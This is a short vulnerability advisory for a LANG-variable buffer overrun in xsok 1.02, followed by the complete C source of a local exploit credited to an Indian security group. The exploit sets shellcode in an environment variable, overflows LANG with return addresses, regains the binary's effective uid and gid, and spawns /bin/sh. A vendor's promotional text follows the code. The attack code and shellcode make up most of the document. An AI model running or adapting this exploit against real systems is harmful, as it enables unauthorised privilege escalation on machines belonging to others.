// source: https://www.securityfocus.com/bid/9341/info
xsok is prone to a locally exploitable buffer overrun vulnerability due to insufficient bounds check of data supplied through the LANG environment variable. This could be exploited to execute arbitrary code with elevated privileges. The program is typically installed setgid games.
/*
xsok 1.02 local game exploit
coded by n2n, n2n<at>linuxmail.org
Eye on Security Research Group, India http://www.eos-india.net
This exploit calculates the return address automatically.
Also the shellcode is improved and automatically gets the effective uid and gid of the vulnerable binary.
Tested on Redhat Linux 9.0
*/
#define VULN "/usr/X11R6/bin/xsok"
#define BUFLEN 100
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
/* shellcode by me, [email protected] */
char *shellcode=
/* setreuid(geteuid(),geteuid()), no use unless xsok is setuid, usually its only setgid games */
"\x31\xc0\xb0\x31\xcd\x80\x93\x89\xd9\x31\xc0\xb0\x46\xcd\x80"
/* setregid(getegid(),getegid()) */
"\x31\xc0\xb0\x32\xcd\x80\x93\x89\xd9\x31\xc0\xb0\x47\xcd\x80"
/* exec /bin/sh */
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
/* exit() */
"\x31\xdb\x89\xd8\xb0\x01\xcd\x80";
int main(int argc, char **argv)
{
char exploit[BUFLEN+5];
unsigned long addr_ret = 0xc0000000 - 4;
char *arg0 = VULN;
int i;
if (argc > 2) {
fprintf(stderr, "Usage: %s [PROG]\n", argv[0]);
return 1;
}
if (argc > 1)
arg0 = argv[1];
addr_ret -= strlen(arg0) + 1;
addr_ret -= strlen(shellcode) + 1;
setenv("EGG",shellcode,1);
for(i=0;i<BUFLEN;i+=4)
*(unsigned int *)(exploit+i)=addr_ret;
exploit[i]=0x0;
setenv("LANG",exploit,1);
printf("Using RET=%p\n",addr_ret);
execl(arg0,arg0,NULL);
printf("\n");
return 1;
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation